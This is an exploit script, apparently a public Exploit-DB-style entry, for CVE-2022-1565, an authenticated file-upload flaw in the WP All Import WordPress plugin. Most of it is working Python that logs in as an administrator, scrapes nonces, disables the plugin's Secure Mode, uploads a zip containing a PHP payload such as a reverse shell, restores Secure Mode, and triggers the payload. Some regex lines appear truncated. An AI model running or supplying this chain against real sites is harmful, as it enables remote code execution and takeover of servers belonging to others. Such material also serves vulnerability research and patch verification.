# Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated) # Date: 11/05/2022 # Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec) # Vendor Homepage: https://www.wpallimport.com/ # Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version) # Version: <= 3.6.7 (tested: 3.6.7) # Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload) # CVE: CVE-2022-1565 #!/usr/bin/python import requests import re import os # WARNING: This exploit does NOT include the payload. # Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work. # If a file with the same name as the payload is already on the server, the upload will OVERWRITE it # # Please notice that I'm NOT the researcher who found this vulnerability # # # # # VULNERABILITY DESCRIPTION # # # # # # The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7. # This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible. # # # # # HOW THE EXPLOIT WORKS # # # # # # 1. Prepare the zip file: # - create a PHP file with your payload (e.g. rerverse shell) # - set the variable "payload_file_name" with the name of this file (e.g. "shell.php") # - create a zip file with the payload # - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip") # # 2. Login using an administrator account: # - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /) # - set the variable "admin_user" with the username of an administrator account # - set the variable "admin_pass" with the password of an administrator account # # 3. Get the wpnonce using the get_wpnonce_upload_file() method # - there are actually 2 types of wpnonce: # - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class. # This wpnonce allows us to change the plugin settings (check the step 4) # - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class. # This wpnonce allows us to upload the file # # 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class # - if the Secure Mode is enabled, the zip content will be put in a folder with a random name. # The exploit will disable the Secure Mode. # By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url). # The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) # - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode. # # 5. Upload the file using the upload_file(wpnonce_upload_file: str) method # - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully. # The response will contain a JSON that looks like this: # {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"} # As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed # # 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method # # 7. Activate the payload using the activate_payload() method # - you can define a method to activate the payload. # There reason behind this choice is that this exploit does NOT provide any payload. # Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters # # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # # # According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page" # I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?) # I had to find a workaround and so I did, by exploiting this option. # WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7 # # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # # # In order for the exploit to work please consider the following: # 1. check the target_url and the admin credentials # 2. check the path of the zip file and the name of the payload (they can be different) # 3. if you're testing locally, try to set verify_ssl_certificate on False # 4. you can use print_response(http_response) to investigate further # Configure the following variables: target_url = "https://vulnerable.wp/wordpress" # Target base URL admin_user = "admin" # Administrator username admin_pass = "password" # Administrator password zip_file_to_upload = "/shell.zip" # Path to the ZIP file (e.g /root/shell.zip) payload_file_name = "shell.php" # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell) verify_ssl_certificate = True # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed. # Do NOT change the following variables wp_login_url = target_url + "/wp-login.php" # WordPress login page wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Plugin page settings payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Payload will be uploaded here re_enable_secure_mode = False session = requests.Session() # This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files. class PluginSetting: # Regular Expression patterns pattern_setting_secure_mode = r' regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve plugin settings. Are you an administrator?") # print_response(self.http_response) # for debugging exit() self.is_secure_mode_enabled = "checked" in regex_search.group() def retrieve_wpnonce_edit_settings(self): # You can find this wpnonce in the source file by searching for the following input hidden: # # 052e2438f9 would be the wpnonce for editing the settings regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?") # print_response(self.http_response) # for debugging exit() self.wpnonce_edit_settings = regex_search.group(1) def retrieve_wpnonce_upload_file(self): # You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b'; # dee75fdb8b would be the wpnonce for the upload regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text) if not regex_search: print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable") # print_response(self.http_response) # for debugging exit() self.wpnonce_upload_file = regex_search.group(1) def wp_login(): global session data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 } login_cookie = { "wordpress_test_cookie" : "WP Cookie check" } # allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found. # Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not print("Trying to login...") response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate) if response.status_code == 302: print("Logged in successfully!") return # print_response(response) # for debugging print("Login failed. If the credentials are correct, try to print the response to investigate further.") exit() def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response: global session if set_to_enabled: print("Enabling secure mode...") else: print("Disabling secure mode...") print("Edit settings wpnonce value: " + wpnonce) data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 } response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate) if response.status_code == 403: print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?") # print_response(response) # for debugging exit() return response def switch_back_to_secure_mode(): global session print("Re-enabling secure mode...") response = session.get(url=wp_all_import_page_settings) plugin_setting = PluginSetting(response) if plugin_setting.is_secure_mode_enabled: print("Secure mode is already enabled") return response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings) new_plugin_setting = PluginSetting(response) if not new_plugin_setting.is_secure_mode_enabled: print("Something went wrong: secure mode has not been re-enabled") # print_response(response) # for debugging exit() print("Secure mode has been re-enabled!") def get_wpnonce_upload_file() -> str: global session, re_enable_secure_mode # If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload # If Secure Mode is already disabled, it just returns the wpnonce for the upload print("Checking if secure mode is enabled...") response = session.get(url=wp_all_import_page_settings) plugin_setting = PluginSetting(response) if not plugin_setting.is_secure_mode_enabled: re_enable_secure_mode = False print("Insecure mode is already enabled!") return plugin_setting.wpnonce_upload_file print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.") response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings) new_plugin_setting = PluginSetting(response) if new_plugin_setting.is_secure_mode_enabled: print("Something went wrong: secure mode has not been disabled") # print_response(response) # for debugging exit() print("Secure mode has been disabled!") re_enable_secure_mode = True return new_plugin_setting.wpnonce_upload_file def upload_file(wpnonce_upload_file: str): global session print("Uploading file...") print("Upload wpnonce value: " + wpnonce_upload_file) zip_file_name = os.path.basename(zip_file_to_upload) upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))} data = { "name" : zip_file_name } response = session.post(url=upload_url, files=files, data=data) if response.status_code == 200: print("Server replied with HTTP 200 OK. The upload should be completed.") print("Payload should be here: " + payload_url) print("If you can't find the payload at this URL, try to print the response to investigate further") # print_response(response) # for debugging return 1 else: print("Something went wrong during the upload. Try to print the response to investigate further") # print_response(response) # for debugging return 0 def activate_payload(): global session print("Activating payload...") response = session.get(url=payload_url) if response.status_code != 200: print("Something went wrong: could not find payload at " + payload_url) # print_response(response) # for debugging return def print_response(response:requests.Response): print(response.status_code) print(response.text) # Entry Point def Main(): print("Target: " + target_url) print("Credentials: " + admin_user + ":" + admin_pass) # Do the login wp_login() # Retrieve wpnonce for upload. # It disables Secure Mode if needed, then returns the wpnonce wpnonce_upload_file = get_wpnonce_upload_file() # Upload the file file_uploaded = upload_file(wpnonce_upload_file) # Re-enable Secure Mode if needed if re_enable_secure_mode: switch_back_to_secure_mode() # Activate the payload if file_uploaded: activate_payload() Main()